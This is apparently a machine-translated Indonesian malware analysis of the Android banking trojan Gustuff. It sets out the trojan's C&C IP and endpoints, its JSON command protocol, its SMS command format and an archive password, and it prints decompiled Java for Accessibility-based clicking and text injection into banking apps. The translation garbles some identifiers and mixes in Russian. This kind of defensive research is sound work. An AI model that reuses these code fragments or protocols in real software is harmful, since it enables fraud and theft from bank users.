Как Android- Trojan Gustuff mengambil keuntungan terbesar (mata uang fiat dan kripto) dari akun Anda.

Как Android- Trojan Gustuff mengambil keuntungan terbesar (mata uang fiat dan kripto) dari akun Anda.

Beberapa hari yang lalu Grup-IB diberitahukan tentang aktivitas seluler Android- Trojan Gustuff. Trojan ini beroperasi secara eksklusif di pasar internasional, menyerang klien dari 100 bank asing terbesar, pengguna seluler dari 32 dompet kripto, dan situs e-commerce utama. Pengembang Gustuff, seorang penjahat siber berbahasa Rusia yang dijuluki Bestoffer, baru-baru ini memuji Trojan buatannya sebagai "produk serius untuk orang-orang yang memiliki pengetahuan dan pengalaman."

Analis Kode Berbahaya Grup-IB Ivan Pisarev dalam penelitiannya ia berbicara secara detail tentang cara kerja Gustuff dan apa bahayanya.

Untuk siapa Gustuff berburu?

Gustuff termasuk dalam generasi baru malware dengan fungsi yang sepenuhnya otomatis. Menurut pengembangnya, Trojan ini adalah versi baru dan lebih baik dari malware AndyBot, yang telah menyerang ponsel yang menjalankan OS tersebut sejak November 2017. Android dan mencuri uang melalui formulir web phishing yang menyamar sebagai aplikasi seluler dari bank dan sistem pembayaran internasional ternama. Bestoffer melaporkan bahwa harga sewa "Gustuff Bot" adalah $800 per bulan.

Analisis sampel Gustuff menunjukkan bahwa Trojan berpotensi menargetkan pelanggan yang menggunakan aplikasi seluler dari bank terbesar, seperti Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, serta Bitcoin Wallet. , dompet kripto BitPay., Cryptopay, Coinbase, dll.

Awalnya dibuat sebagai Trojan perbankan klasik, versi Gustuff saat ini telah secara signifikan memperluas daftar target potensialnya untuk diserang. Selain itu, Android- Aplikasi untuk bank, perusahaan fintech, dan layanan kripto, Gustuff menargetkan pengguna aplikasi marketplace, toko online, sistem pembayaran, dan aplikasi perpesanan. Secara khusus, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut, dan lain-lain.

Titik masuk: penghitungan infeksi massal

Gustuff dicirikan oleh vektor penetrasi yang "klasik". Android- Ponsel pintar melalui pesan SMS dengan tautan ke file APK. Saat terinfeksi AndroidSetelah perangkat terinfeksi, Trojan, atas perintah server, dapat menyebarkan Gustuff lebih lanjut melalui basis data kontak ponsel yang terinfeksi atau basis data server. Fungsionalitas Gustuff dirancang untuk infeksi massal dan kapitalisasi bisnis maksimal bagi operatornya – ia memiliki fitur "pengisian otomatis" yang unik untuk aplikasi perbankan seluler dan dompet kripto yang sah, yang mempercepat dan meningkatkan pencurian dana.

Pemeriksaan terhadap Trojan tersebut mengungkapkan bahwa fitur unggah otomatisnya diimplementasikan menggunakan Layanan Aksesibilitas, sebuah layanan untuk penyandang disabilitas. Gustuff bukanlah Trojan pertama yang berhasil melewati perlindungan terhadap interaksi dengan elemen jendela aplikasi lain menggunakan layanan ini. AndroidNamun, penggunaan Layanan Aksesibilitas yang dikombinasikan dengan unggahan otomatis masih cukup jarang.

Setelah diunduh ke ponsel korban, Gustuff, menggunakan Layanan Aksesibilitas, memperoleh kemampuan untuk berinteraksi dengan elemen aplikasi lain (perbankan, mata uang kripto, belanja online, perpesanan, dll.), melakukan tindakan yang diinginkan oleh penyerang. Misalnya, atas perintah server, Trojan dapat mengklik tombol dan mengubah nilai kolom teks di aplikasi perbankan. Penggunaan Layanan Aksesibilitas memungkinkan Trojan untuk melewati mekanisme perlindungan yang digunakan oleh bank untuk melawan Trojan seluler lama, serta perubahan kebijakan keamanan yang diterapkan oleh Google di versi OS yang lebih baru. AndroidGustuff, misalnya, dapat menonaktifkan Google Protect: menurut pembuatnya, fitur ini berfungsi dalam 70% kasus.

Как Android- Trojan Gustuff mengambil keuntungan terbesar (mata uang fiat dan kripto) dari akun Anda.

Gustuff juga dapat menampilkan notifikasi PUSH palsu dengan ikon aplikasi seluler yang sah. Pengguna mengklik notifikasi PUSH dan melihat jendela phishing diunduh dari server, di mana ia memasukkan data yang diminta dari kartu bank atau dompet kripto. Dalam skenario lain, Gustuff membuka aplikasi yang menampilkan notifikasi PUSH. Dalam hal ini, malware, atas perintah server melalui Layanan Aksesibilitas, dapat mengisi kolom formulir aplikasi perbankan untuk transaksi penipuan.

Fungsi Gustuff juga mencakup pengiriman informasi tentang perangkat yang terinfeksi ke server, kemampuan membaca/mengirim pesan SMS, mengirim permintaan USSD, meluncurkan SOCKS5 Proxy, mengikuti tautan, mengirim file (termasuk pindaian foto dokumen, tangkapan layar, foto) ke server, setel ulang perangkat ke pengaturan pabrik.

Analisis malware

Sebelum menginstal aplikasi OS berbahaya Android Menampilkan jendela kepada pengguna yang berisi daftar hak akses yang diminta oleh Gustuff:

Как Android- Trojan Gustuff mengambil keuntungan terbesar (mata uang fiat dan kripto) dari akun Anda.
Instalasi aplikasi akan dilakukan hanya setelah mendapat persetujuan dari pengguna. Setelah meluncurkan aplikasi, Trojan akan menampilkan jendela kepada pengguna:

Как Android- Trojan Gustuff mengambil keuntungan terbesar (mata uang fiat dan kripto) dari akun Anda.
Kemudian ia akan menghapus ikonnya.

Gustuff dikemas, menurut penulis, oleh pengemas FTT. Setelah diluncurkan, aplikasi secara berkala mengakses server CnC untuk menerima perintah. Di beberapa file yang kami periksa, alamat IP digunakan sebagai server kontrol 88.99.171[.]105 (selanjutnya disebut <%K&K%>).

Setelah memulai program mulai mengirim pesan ke server http://<%CnC%>/api/v1/get.php.

Format JSON berikut diharapkan sebagai respons:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Dengan setiap permintaan, aplikasi mengirimkan informasi tentang perangkat yang terinfeksi. Format pesan ditunjukkan di bawah ini. Perlu diperhatikan bahwa bidang penuh, tambahan, apps и izin – opsional dan akan dikirim hanya jika ada permintaan perintah dari CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Penyimpanan data konfigurasi

Gustuff menyimpan informasi penting dalam file preferensi. Nama file serta nama parameter di dalamnya merupakan hasil penghitungan jumlah MD5 dari string 15413090667214.6.1<%nama%>Dimana <%nama%> adalah nilai nama asli. Interpretasi Python dari fungsi pembuatan nama:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Berikut ini akan kami nyatakan sebagai namaGenerator(masukan).
Jadi nama file pertama adalah: namaGenerator("API_SERVER_LIST"), itu berisi nilai dengan nama berikut:

Nama variabelNilai
namaGenerator("API_SERVER_LIST")Berisi daftar alamat CnC sebagai array.
namaGenerator("API_SERVER_URL")Berisi alamat CnC.
namaGenerator("SMS_UPLOAD")Bendera disetel secara default. Jika bendera disetel, ia akan mengirimkan pesan SMS ke CnC.
nameGenerator("SMS_ROOT_NUMBER")Nomor telepon tujuan pengiriman pesan SMS yang diterima oleh perangkat yang terinfeksi. Standarnya adalah nol.
nameGenerator("SMS_ROOT_NUMBER_RESEND")Bendera ini dihapus secara default. Jika diatur, ketika perangkat yang terinfeksi menerima SMS, maka akan dikirim ke nomor root.
nameGenerator("DEFAULT_APP_SMS")Bendera ini dihapus secara default. Jika tanda ini disetel, aplikasi akan memproses pesan SMS yang masuk.
namaGenerator("DEFAULT_ADMIN")Bendera ini dihapus secara default. Jika bendera disetel, aplikasi mempunyai hak administrator.
nameGenerator("DEFAULT_ACCESSIBILITY")Bendera ini dihapus secara default. Jika tanda disetel, layanan yang menggunakan Layanan Aksesibilitas sedang berjalan.
nameGenerator("APPS_CONFIG")Objek JSON, berisi daftar tindakan yang harus dilakukan ketika peristiwa Aksesibilitas diaktifkan terkait dengan aplikasi tertentu.
nameGenerator("APPS_INSTALLED")Menyimpan daftar aplikasi yang diinstal pada perangkat.
namaGenerator("IS_FIST_RUN")Bendera dibersihkan pada start pertama.
nameGenerator("UNIQUE_ID")Berisi pengidentifikasi unik. Dihasilkan saat bot pertama kali diluncurkan.

Modul pemrosesan perintah server

Aplikasi menyimpan alamat server CnC sebagai array kode Base85 baris. Daftar CnC - server dapat diubah setelah menerima perintah yang sesuai, dalam hal ini alamat akan disimpan dalam file preferensi.

Menanggapi permintaan tersebut, server mengirimkan perintah ke aplikasi. Perlu dicatat bahwa perintah dan parameter disajikan dalam format JSON. Aplikasi dapat memproses perintah berikut:

TimОписание
majuMulaiMulai mengirim pesan SMS yang diterima oleh perangkat yang terinfeksi ke server CnC.
majuBerhentiHentikan pengiriman pesan SMS yang diterima oleh perangkat yang terinfeksi ke server CnC.
ussdRunBuat permintaan USSD. Nomor yang Anda perlukan untuk membuat permintaan USSD ada di kolom JSON "angka".
Kirim SMSKirim satu pesan SMS (jika perlu, pesan tersebut “dibagi” menjadi beberapa bagian). Sebagai parameter, perintah mengambil objek JSON yang berisi bidang "ke" - nomor tujuan dan "isi" - isi pesan.
kirimSmsAbKirim pesan SMS (jika perlu, pesan tersebut "dibagi" menjadi beberapa bagian) ke semua orang dari daftar kontak perangkat yang terinfeksi. Interval antara pengiriman pesan adalah 10 detik. Isi pesan ada di kolom JSON "body"
kirimSmsMassKirim pesan SMS (jika perlu, pesan tersebut “dibagi” menjadi beberapa bagian) ke kontak yang ditentukan dalam parameter perintah. Interval antara pengiriman pesan adalah 10 detik. Sebagai parameter, perintah mengambil array JSON (bidang "sms"), yang elemennya berisi bidang "ke" - nomor tujuan dan "isi" - isi pesan.
ubahServerPerintah ini dapat mengambil nilai dengan kunci “url” sebagai parameter - kemudian bot akan mengubah nilai nameGenerator(“SERVER_URL”), atau “array” - kemudian bot akan menulis array menjadi nameGenerator (“API_SERVER_LIST”) Dengan demikian, aplikasi mengubah alamat server CnC.
nomor adminPerintah ini dirancang untuk bekerja dengan nomor root. Perintah menerima objek JSON dengan parameter berikut: "number" - ubah nameGenerator("ROOT_NUMBER") ke nilai yang diterima, "kirim ulang" - ubah nameGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - kirim ID unik ke nameGenerator("ROOT_NUMBER ").
informasi terbaruKirim informasi tentang perangkat yang terinfeksi ke server.
wipeDataPerintah tersebut dimaksudkan untuk menghapus data pengguna. Bergantung pada nama aplikasi yang diluncurkan, terjadi penghapusan data sepenuhnya dengan reboot perangkat (pengguna utama) atau penghapusan hanya data pengguna (pengguna sekunder).
kaus kakiMulaiLuncurkan modul proksi. Pengoperasian modul dijelaskan di bagian terpisah.
kaus kakiBerhentiHentikan modul proxy.
Buka tautanIkuti tautannya. Tautannya ada dalam parameter JSON dengan kunci "url". "android.intent.action.VIEW" digunakan untuk membuka tautan.
unggahSemuaSmsKirim semua pesan SMS yang diterima perangkat ke server.
unggahSemua FotoKirim gambar dari perangkat yang terinfeksi ke URL. URL hadir sebagai parameter.
unggah dataKirim file dari perangkat yang terinfeksi ke URL. URL hadir sebagai parameter.
unggahNomor TeleponKirim nomor telepon dari daftar kontak ke server. Jika objek JSON dengan kunci "ab" muncul sebagai parameter, aplikasi menerima daftar kontak dari buku telepon. Jika objek JSON dengan kunci "sms" diterima sebagai parameter, aplikasi membaca daftar kontak dari pengirim pesan SMS.
ubah ArsipAplikasi mengunduh file dari alamat yang disertakan sebagai parameter menggunakan kunci "url". File yang diunduh disimpan dengan nama "archive.zip". Aplikasi kemudian akan mengekstrak file, opsional menggunakan kata sandi arsip "b5jXh37gxgHBrZhQ4j3D". File yang telah dibuka zipnya disimpan ke direktori [penyimpanan eksternal]/hgps. Di direktori ini, aplikasi menyimpan web palsu (dijelaskan di bawah).
tindakanPerintah ini dirancang untuk bekerja dengan Action Service, yang dijelaskan di bagian terpisah.
ujiTidak melakukan apapun.
DownloadPerintah ini dirancang untuk mengunduh file dari server jauh dan menyimpannya ke direktori Unduhan. URL dan nama file datang sebagai parameter, bidang dalam objek JSON adalah parameternya masing-masing: "url" dan "nama file".
menghapusMenghapus file dari direktori Unduhan. Nama file hadir dalam parameter JSON dengan kunci "fileName". Nama file defaultnya adalah "tmp.apk".
pemberitahuanTampilkan pemberitahuan dengan deskripsi dan teks judul yang ditentukan oleh server manajemen.

Format perintah pemberitahuan:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Notifikasi yang dihasilkan oleh file yang sedang diselidiki terlihat identik dengan notifikasi yang dihasilkan oleh aplikasi yang ditentukan di kolom aplikasi. Jika nilai bidang buka Aplikasi — Benar, saat notifikasi dibuka, aplikasi yang ditentukan di kolom diluncurkan aplikasi. Jika nilai bidang buka Aplikasi - Salah, maka:

  • jendela phishing terbuka, yang isinya diambil dari direktori <%penyimpanan eksternal%>/hgps/<%namafile%>
  • jendela phishing terbuka, yang isinya diunduh dari server <%url%>?id=<%Bot id%>&app=<%Nama aplikasi%>
  • jendela phishing yang menyamar sebagai Google Play Card terbuka, dengan opsi untuk memasukkan detail kartu.

Aplikasi mengirimkan hasil eksekusi perintah apa pun ke <%CnC%>set_state.php sebagai objek JSON dalam format berikut:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

Layanan Tindakan
Daftar perintah yang disertakan dalam proses aplikasi tindakan. Ketika sebuah perintah diterima, modul pemrosesan perintah memanggil layanan ini untuk menjalankan perintah yang diperluas. Layanan ini mengambil objek JSON sebagai parameter. Layanan ini dapat menjalankan perintah berikut:

1. PARAMS_ACTION - ketika menerima perintah seperti itu, layanan pertama-tama menerima nilai dari parameter JSON dengan tombol Type, bisa sebagai berikut:

  • info layanan – subperintah mendapatkan nilai dari parameter JSON berdasarkan kunci termasukTidak Penting. Jika tandanya Benar, aplikasi akan menyetel tandanya FLAG_ISOLATED_PROCESS ke layanan yang menggunakan Layanan Aksesibilitas. Dengan demikian, layanan akan diluncurkan dalam proses terpisah.
  • akar - menerima dan mengirim ke server informasi tentang jendela yang sedang fokus. Aplikasi memperoleh informasi menggunakan kelas AccessibilityNodeInfo.
  • admin - meminta hak administrator.
  • menunda - menangguhkan ActionsService selama jumlah milidetik yang ditentukan dalam parameter dengan kunci "data".
  • Windows — mengirim daftar jendela yang terlihat oleh pengguna.
  • install — instal aplikasi pada perangkat yang terinfeksi. Nama paket - arsip ada di kunci "nama file". Arsipnya sendiri terletak di direktori Downloads.
  • global – subperintah dimaksudkan untuk beralih dari jendela saat ini:
    • pada menu Pengaturan Cepat
    • terbelakang
    • rumah
    • ke notifikasi
    • ke jendela aplikasi yang baru dibuka

  • jalankan - luncurkan aplikasi. Nama aplikasi hadir sebagai parameter kunci data.
  • suara — mengubah mode suara menjadi senyap.
  • membuka kunci - menyalakan lampu latar layar dan keyboard hingga kecerahan penuh. Aplikasi melakukan tindakan ini menggunakan WakeLock, menentukan string [Label aplikasi]:INFO sebagai tag
  • izinHamparan — fungsi tidak diterapkan (respons terhadap eksekusi perintah — {"message":"Tidak mendukung"} atau {"message":"low SDK"})
  • sikap — fungsi tidak diterapkan (respons terhadap eksekusi perintah — {"message":"Tidak mendukung"}atau {"message":"API Rendah"})
  • Izin - Perintah ini diperlukan untuk meminta izin aplikasi. Namun, fungsi permintaan tidak diterapkan, sehingga perintah tersebut tidak ada artinya. Daftar izin yang diminta hadir dalam bentuk array JSON dengan kunci "izin". Daftar standar:
    • android.izin.READ_PHONE_STATE
    • android.izin.READ_CONTACTS
    • android.izin.CALL_PHONE
    • android.izin.RECEIVE_SMS
    • android.izin.SEND_SMS
    • android.izin.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • Buka — menampilkan jendela phishing. Tergantung pada parameter yang berasal dari server, aplikasi dapat menampilkan jendela phishing berikut:
    • Menampilkan jendela phishing yang isinya ditulis dalam file di direktori <%direktori eksternal%>/hgps/<%param_filename%>. Hasil interaksi pengguna dengan jendela akan dikirim ke alamat <%CnC%>/records.php
    • Menampilkan jendela phishing yang kontennya dimuat dari suatu alamat <%url_param%>?id=<%bot_id%>&app=<%namapaket%>. Hasil interaksi pengguna dengan jendela akan dikirim ke alamat <%CnC%>/records.php
    • Menampilkan jendela phishing yang menyamar sebagai Google Play Card.

  • interaktif — perintah ini dirancang untuk berinteraksi dengan elemen jendela aplikasi lain menggunakan AcessibilityService. Layanan khusus diimplementasikan dalam program interaksi. Aplikasi yang diselidiki dapat berinteraksi dengan windows:
    • Aktif saat ini. Dalam hal ini, parameter berisi id atau teks (nama) objek yang ingin Anda interaksi.
    • Terlihat oleh pengguna pada saat perintah dijalankan. Aplikasi memilih windows berdasarkan id.

    Setelah menerima benda tersebut AksesibilitasNodeInfo untuk elemen jendela yang diinginkan, aplikasi, bergantung pada parameternya, dapat melakukan tindakan berikut:

    • fokus - mengatur fokus ke suatu objek.
    • klik - klik pada suatu objek.
    • actionId - melakukan tindakan berdasarkan ID.
    • setText - mengubah teks objek. Mengubah teks dapat dilakukan dengan dua cara: melakukan suatu tindakan ACTION_SET_TEXT (jika versi) Android Perangkat yang terinfeksi berusia lebih muda dari atau sama dengan LOLLIPOP), atau dengan menempatkan string pada clipboard dan menempelkannya ke objek (untuk versi yang lebih lama). Perintah ini dapat digunakan untuk mengubah data pada aplikasi perbankan.

2. PARAMS_ACTIONS - sama seperti PARAMS_ACTION, hanya serangkaian perintah JSON yang diterima.

Tampaknya banyak yang akan tertarik dengan seperti apa fungsi interaksi dengan elemen jendela aplikasi lain. Beginilah cara fungsi ini diterapkan di Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Fungsi penggantian teks:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Jadi, dengan konfigurasi server kontrol yang benar, Gustuff dapat mengisi kolom teks di aplikasi perbankan dan mengklik tombol yang diperlukan untuk menyelesaikan transaksi. Trojan bahkan tidak perlu melalui otorisasi dalam aplikasi - cukup mengirimkan perintah untuk menampilkan notifikasi PUSH, diikuti dengan membuka aplikasi perbankan yang diinstal sebelumnya. Pengguna sendiri akan diberi otorisasi, setelah itu Gustuff akan dapat melakukan pengisian otomatis.

Modul pemrosesan SMS

Aplikasi ini mengatur event handler untuk menerima pesan SMS oleh perangkat yang terinfeksi. Aplikasi yang diteliti dapat menerima perintah dari operator yang masuk dalam isi pesan SMS. Perintah datang dalam format:

7!5=<%Perintah yang dikodekan Base64%>

Aplikasi mencari semua pesan SMS yang masuk untuk string tersebut 7!5=, ketika sebuah string ditemukan, ia menerjemahkan string dari Base64 pada offset 4 dan menjalankan perintah. Perintahnya mirip dengan perintah dengan CnC. Hasil eksekusi dikirim ke nomor yang sama dengan nomor yang menerima perintah. Format tanggapan:

7*5=<%Pengkodean Base64 dari "perintah kode_hasil"%>

Secara opsional, aplikasi dapat mengirim semua pesan yang diterima ke nomor Root. Untuk melakukan ini, nomor Root harus ditentukan dalam file preferensi dan tanda pengalihan pesan harus disetel. Pesan SMS dikirim ke nomor penyerang dalam format berikut:

<%Dari nomor%> - <%Waktu, format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Selain itu, secara opsional, aplikasi dapat mengirim pesan ke CnC. Pesan SMS dikirim ke server dalam format JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Jika bendera sudah disetel nameGenerator("DEFAULT_APP_SMS") – aplikasi berhenti memproses pesan SMS dan menghapus daftar pesan masuk.

Modul proksi

Pada aplikasi yang diteliti terdapat modul Backconnect Proxy (selanjutnya disebut modul Proxy), yang memiliki kelas tersendiri yang memuat field statis dengan konfigurasi. Data konfigurasi disimpan dalam sampel dalam teks yang jelas:

Как Android- Trojan Gustuff mengambil keuntungan terbesar (mata uang fiat dan kripto) dari akun Anda.

Semua tindakan yang dilakukan oleh modul Proxy dicatat ke file. Untuk melakukan hal ini, aplikasi membuat direktori bernama "logs" di Penyimpanan Eksternal (bidang ProxyConfigClass.logsDir di kelas konfigurasi), tempat file log disimpan. Pencatatan dilakukan pada file dengan nama:

  1. utama.txt – file ini digunakan untuk mencatat pekerjaan kelas bernama CommandServer. Berikut ini, pencatatan string str ke file ini akan dilambangkan sebagai mainLog(str).
  2. sesi-<%id%>.txt — data log yang terkait dengan sesi proxy tertentu disimpan ke file ini. Berikut ini, pencatatan string str ke file ini akan dilambangkan sebagai sessionLog (str).
  3. server.txt – file ini adalah tempat semua data yang ditulis ke file di atas dicatat.

Format data log:

<%Tanggal%> [Utas[<%id utas%>], id[]]: string-log

Pengecualian yang terjadi selama pengoperasian modul Proxy juga dicatat dalam file. Untuk melakukan ini, aplikasi menghasilkan objek JSON dengan format:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Kemudian mengubahnya menjadi representasi string dan mencatat.

Modul proxy diluncurkan setelah perintah terkait tiba. Ketika perintah diterima untuk memulai modul proxy, aplikasi memulai layanan dengan nama tersebut Layanan Utama, yang bertanggung jawab untuk mengelola pengoperasian modul Proxy - memulai dan menghentikannya.

Langkah-langkah peluncuran layanan:

1. Memulai pengatur waktu yang menyala satu menit sekali dan memeriksa aktivitas modul proxy. Jika modul tidak aktif, modul akan memulainya.
Juga ketika acara tersebut terjadi android.net.conn.CONNECTIVITY_CHANGE modul proxy diluncurkan.

2. Aplikasi membuat penguncian layar saat aktif dengan parameter PARTIAL_WAKE_LOCK dan menangkapnya. Dengan demikian, ini tidak memungkinkan CPU perangkat masuk ke mode tidur.

3. Menjalankan kelas pemrosesan perintah dari modul proksi, mencatat baris terlebih dahulu mainLog("server mulai") и

Server::mulai() tuan rumah[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

dimana proxy_cnc, command_port dan proxy_port – parameter yang diterima dari konfigurasi server proxy.

Kelas pemrosesan perintah diberi nama Koneksi Perintah. Segera setelah diluncurkan, ia melakukan tindakan berikut:

4. Terhubung ke ProxyConfigClass.host: ProxyConfigClass.commandPort dan mengirimkan data tentang perangkat yang terinfeksi ke sana dalam format JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Dimana:

  • id - pengidentifikasi, mencoba mendapatkan nilai dari file Preferensi Bersama dengan nama "x" dengan bidang "id". Jika nilai ini tidak dapat diperoleh, maka akan dihasilkan nilai baru. Dengan demikian, modul proxy memiliki pengidentifikasinya sendiri, yang dihasilkan mirip dengan ID Bot.
  • imei - IMEI perangkat. Jika terjadi kesalahan saat mengambil nilai, pesan teks kesalahan akan ditulis sebagai ganti kolom ini.
  • imsi - Identitas Pelanggan Seluler Internasional perangkat. Jika terjadi kesalahan saat mengambil nilai, pesan teks kesalahan akan ditulis sebagai ganti kolom ini.
  • model - Nama produk akhir yang terlihat oleh pengguna akhir.
  • pabrikan - Produsen produk/perangkat keras (Build.MANUFACTURER).
  • androidVersion adalah string dalam format "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • negara adalah lokasi perangkat saat ini.
  • partnerId adalah string kosong.
  • nama paket - nama paket.
  • networkType - jenis koneksi jaringan saat ini (contoh: "WIFI", "MOBILE"). Mengembalikan nol jika terjadi kesalahan.
  • hasGsmSupport - benar - jika ponsel mendukung GSM, jika tidak, salah.
  • simReady - status kartu SIM.
  • simCountry - Kode ISO negara (berdasarkan penyedia kartu SIM).
  • networkOperator - nama operator. Jika terjadi kesalahan saat mengambil nilai, pesan teks kesalahan akan ditulis sebagai ganti kolom ini.
  • simOperator - Nama Penyedia Layanan (SPN). Jika terjadi kesalahan saat mengambil nilai, pesan teks kesalahan akan ditulis sebagai ganti kolom ini.
  • versi - bidang ini disimpan di kelas konfigurasi, untuk versi bot yang dipelajari sama dengan "1.6".

5. Beralih ke mode menunggu perintah dari server. Perintah dari server datang dalam format:

  • 0 perintah offset
  • 1 offset-sessionId
  • 2 panjang offset
  • 4 data offset

Ketika perintah diterima, aplikasi mencatat:
mainLog("Header { sessionId<%id%>], ketik[<%command%>], panjang[<%length%>] }")

Perintah berikut dapat dilakukan dari server:

NamaperintahDataDeskripsi
koneksiId0ID koneksiBuat koneksi baru
TIDUR3WaktuTangguhkan modul proxy
PINGPONG4-Kirim pesan PONG

Pesan PONG terdiri dari 4 byte dan terlihat seperti ini: 0x04000000.

Ketika perintah connectionId diterima (untuk membuat koneksi baru) Koneksi Perintah menciptakan sebuah instance dari kelas Koneksi Proxy.

  • Dua kelas mengambil bagian dalam proksi: Koneksi Proxy и akhir. Saat membuat kelas Koneksi Proxy koneksi dibuat ke alamat tersebut ProxyConfigClass.host: ProxyConfigClass.proxyPort dan meneruskan objek JSON:

 {
    "id":<%connectionId%>
}

Sebagai tanggapan, server mengirimkan pesan SOCKS5 yang berisi alamat server jarak jauh yang sambungannya harus dibuat. Interaksi dengan server ini terjadi melalui kelas akhir. Secara skematis, pengaturan koneksi dapat direpresentasikan sebagai berikut:

Как Android- Trojan Gustuff mengambil keuntungan terbesar (mata uang fiat dan kripto) dari akun Anda.

Interaksi jaringan

Untuk mencegah sniffer jaringan menganalisis lalu lintas, interaksi antara server CnC dan aplikasi dapat diamankan menggunakan protokol SSL. Semua data yang dikirimkan baik dari server maupun ke server dalam format JSON. Aplikasi melakukan permintaan berikut selama operasi:

  • http://<%CnC%>/api/v1/set_state.php adalah hasil eksekusi perintah.
  • http://<%CnC%>/api/v1/get.php - menerima perintah.
  • http://<%CnC%>/api/v1/load_sms.php — mengunduh pesan SMS dari perangkat yang terinfeksi.
  • http://<%CnC%>/api/v1/load_ab.php — mengunggah daftar kontak dari perangkat yang terinfeksi.
